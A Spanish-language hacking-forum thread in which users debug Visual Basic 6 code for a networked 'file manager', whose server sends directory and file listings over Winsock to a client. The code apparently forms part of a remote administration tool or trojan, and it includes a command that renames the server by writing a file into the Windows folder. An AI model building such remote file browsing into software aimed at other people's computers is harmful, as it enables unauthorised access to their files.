Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Jareth en 4 Abril 2007, 13:10 pm



Título: Problema file manager
Publicado por: Jareth en 4 Abril 2007, 13:10 pm
Hola soy yo el pesao de siempre  :P bueno pues estoy trabajando en el file manager y tengo un pequeño problema,hago un bucle para listar los archivos,lo envio y lo añado a un listview,peor claro me lo añade todo en una columna y junto,lo quiero evidentemente separado,no en la msiam columna este.exeaquello.jpg etc...
aqui el code.
Servidor:
Código:
Dim i As Long
For i = 0 To File1.ListCount - 1

ws.SendData "list" & File1.List(i)

Next
Cliente:
Código:
If Left(datos, 4) = "list" Then
Set x = ListView1.ListItems.Add(, , datos)
He probado con sleep en el server o en un timer y hace lo mismo.
Espero sus respuestas gracias y saludos.


Título: Re: Problema file manager
Publicado por: Jareth en 4 Abril 2007, 14:39 pm
Bueno he hecho un Split pero sigue andando algo mal:
Servidor:
Código:
Dim i As Long
For i = 0 To Form1.File1.ListCount - 1
Form1.ws.SendData "list" & Form1.File1.Path & "|" & File1.List(i) & "|"
Next

Cliente:
Código:
On error resume next
Dim x As ListItem
Dim datos As String
Dim data() As String
Dim i As Long
ws.GetData datos
data = Split(datos, "list")
If Left(datos, 4) = "list" Then
For i = 1 To 100
Set x = ListView1.ListItems.Add(, , data(i))
Next
End If
Y el 100 del bucle me lo saco de la manga...porque no sé cuantos archivos hay pongo eso por poner un numero,el caso es que el code es muy chorra y va un poquillo mal...


Título: Re: Problema file manager
Publicado por: ~~ en 4 Abril 2007, 15:13 pm
Vamos a ver, valla lio de code!!

Lo q tienes q hacer es poner list|nombreArchivo|nombreArchivo|nombr....

Etc. Metes ls archivos de esa forma. Luego en el cliente pones

Código:
ws.GetData datos
data = Split(datos, "|")

select case data
case "list"
For i = 1 To ubound(data)
Set x = ListView1.ListItems.Add(, , data(i))
Next i

Me parece a mi q asi es mejor xDD


Título: Re: Problema file manager
Publicado por: Jareth en 4 Abril 2007, 15:25 pm
Si ahi habia llegado,lo del select case,ahora mi problema es que por ejemplo he listado los archivos,ahora me faltan los directorios y las carpetas,pero claro,al envialro se me juntan y me lo emten en la misma columna,ese es el problema que tengo,solo puedo listar o ficheros,o carpetas o directorios y necesito los 3,tambien podria meterlo en un dirlistbox,filelistbox.
Bueno voy a seguir trabajando en ello.
Gracias y saludos.


Título: Re: Problema file manager
Publicado por: ~~ en 4 Abril 2007, 15:32 pm
Pues ponle dos splits xDD
Mira esta seria la estructura:

list|archivo#carpeta|archivo#carpeta|archivo#carpeta|archivo#carpeta

Código:
case "list"
For i = 1 To ubound(data)
dim todo as string
todo = data(i)
parte = split (data(i),"#")
Set x = ListView1.ListItems.Add(, , parte(0)).subitems (1) = parte(1)
Next i

Asi de simple  :P


Título: Re: Problema file manager
Publicado por: Jareth en 4 Abril 2007, 16:50 pm
Pues no me va bien y me añade la palabra "list" pero como en un listview es muy complicado,mejor pongo en el cliente tambien un dirlistbox filelistbox drivelistbox,a ver si consigo hacerlo.
Gracias de todas formas lo haré asi que pa mi que va a ser mas sencillo.
A ver si me sale,xD.
Saludos.
Tengo algunos problemillas a la hora de hacerlo,si alguien tiene algun code de base porque mas o menos me slae pero solo con el dir,con el file no,los 2 no puedo...


Título: Re: Problema file manager
Publicado por: ~~ en 4 Abril 2007, 17:05 pm
Pues subele +1 al for vamos for i= 2, prueva asi, q lo e hecho sin el vb delante y tal, pero vamos q la idea es esa. Busca por el foro de VB q yo mismo puse un ejemplo d filemanager ;)


Título: Re: Problema file manager
Publicado por: Jareth en 4 Abril 2007, 17:27 pm
Esta caido,dice file not found :(


Título: Re: Problema file manager
Publicado por: ~~ en 4 Abril 2007, 17:50 pm
Mira aki te dejo el codigo:

CLIENTE:
modulo:
Código:
'File Manager by E0N
Function IntroRuta(ruta As String)

Dim Unidad As String
Dim Carpetas As String
Dim Archivos As String

frmArchivos.lvArchivos.ListItems.Clear 'Limpiamos las listas
frmArchivos.lvCarpetas.ListItems.Clear

rutapartida = Split(ruta, "?")
Unidad = rutapartida(0)
Carpetas = rutapartida(1)
Archivos = rutapartida(2)

frmArchivos.txtUnidad = rutapartida(0) 'Metemos la ruta en el textBox


'Asi metemos las rutas de carpeta individuales en el lvCarpetas
carpeta = Split(Carpetas, "<")

For n = 0 To UBound(carpeta)
    With frmArchivos.lvCarpetas.ListItems.Add(, , carpeta(n))
    End With
Next n


'Asi metemos los archivos en el lvArchivos
archivo = Split(Archivos, "<")

For a = 0 To UBound(archivo)
    With frmArchivos.lvArchivos.ListItems.Add(, , archivo(a))
    End With
Next a

End Function

en el form en el q se ven los archivos:
Código:
'File Manager by E0N

Dim vIndex As Variant
Dim ParaEjecutar As String

Private Sub Explorar_Click()
frmPrincipal.ws(vIndex(0)).SendData "ruta|" & txtUnidad.Text
End Sub

Private Sub lvArchivos_ItemClick(ByVal Item As MSComctlLib.ListItem)
ParaEjecutar = Item.Text
End Sub

Private Sub lvArchivos_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = 2 Then PopupMenu Opciones
End Sub

Private Sub lvCarpetas_ItemClick(ByVal Item As MSComctlLib.ListItem)
If txtUnidad.Text = Item.Text Then
    Call Explorar_Click
Else
    txtUnidad.Text = Item.Text
End If
End Sub


Private Sub Form_Load()
vIndex = Split(frmPrincipal.Lv.SelectedItem.Key, "|") 'Para el winsock
frmPrincipal.ws(vIndex(0)).SendData "actualizar"
End Sub


SERVER:
En el form:
Código:
'File Manager by E0N

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String 'Los datos q llegan
Dim vData As Variant 'Los datos partidos

ws.GetData data
vData = Split(data, "|")

Select Case vData(0) 'Empezamos los casos

Case "cambiarnombre" 'Para cambiar el nombre
    Open Ruta_Windows & "\WinName.txt" For Output As #1
    Print #1, vData(1)
    Close #1
    Server_Name = vData(1)

Case "actualizar" 'Para embiar la ruta del file manager nada mas arrancar
    Dim ruta As String
    ruta = Rutas()
    ws.SendData "rutatotal|" & ruta

Case "ruta" 'Para embiar la ruta del file manager a peticion del cliente
    On Local Error GoTo Error
    Dir1.Path = vData(1)
    ruta = Rutas()
    ws.SendData "rutatotal|" & ruta
    Exit Sub
Error:
    ws.SendData "error carpeta"
end select

Private Sub Dir1_Change() 'Para camiar las rutas correctamente
File1.Path = Dir1.Path
End Sub

Private Sub Drive1_Change() 'Para camiar las rutas correctamente
Dir1.Path = Drive1.Drive
End Sub

(tienes q añadir un Dir1 y un file 1 ;))

A un modulo:
Código:
'Fie Manager by E0N

Public Function Rutas() As String 'Manda todas las rutas y archivos en un string

Dim Unidad As String
Dim Carpetas As String
Dim Archivos As String

Unidad = frm.Dir1.Path  'Asi metemos la ruta actual en el string


'Asi metemos las carpetas en el string
Dim ca As Integer
ca = frm.Dir1.ListCount - 1
Carpetas = ""

While frm.Dir1.List(ca) <> frm.Dir1.Path
Carpetas = Carpetas & "<" & frm.Dir1.List(ca)
ca = ca - 1
Wend

'Asi metemos los archivos en el string
Dim ar As Integer
ar = frm.File1.ListCount - 1
Archivos = ""

While frm.File1.List(ar) <> ""
Archivos = Archivos & "<" & frm.File1.List(ar)
ar = ar - 1
Wend

Carpetas = Mid(Carpetas, 2) ' Kitamos el < inicial
Archivos = Mid(Archivos, 2)

'Ahora devolvemos todas las rutas juntas en un string
Rutas = Unidad & "?" & Carpetas & "?" & Archivos

End Function



Ya esta, creo q esta todo. La idea es sacar las rutas de y las carpetas de el nombre de los archivos de los controles de VB q se encargan de eso y luego enviarlos, y q al recibirlos en el cliente partirlos correctamente ;)

Lo unico q te piddo es q si lo usas me cites y respetes q el codigo es mio si lo pasas o lo q sea, q su trabajo me llevo ;)

1S4ludo


Título: Re: Problema file manager
Publicado por: Jareth en 4 Abril 2007, 17:59 pm
 :o :o :o :o Muchas gracias E0N!!!Me eres de gran ayuda.
Saludos.


Título: Re: Problema file manager
Publicado por: yovaninu en 5 Abril 2007, 04:05 am
para resolver este problema cuando a mi se me dio, yo use simples archivos de texto... por ejemplo hago que el server ejecute a traves de un bat la orden dir d:\musica y el resultado lo paso a un txt, éste txt lo jalo desde el cliente y es en el cliente que hago un arduo trabajo de cadenas para separar: nombre de arhchivo y tamaño de archivo, al final le aplico un fileinfo para sacar el tipo de archivo en pc local, asi logro mostrarlo correctamnete en un ListView, con iconos incluido... tambien desearia discutir mi codigo y publicarlo.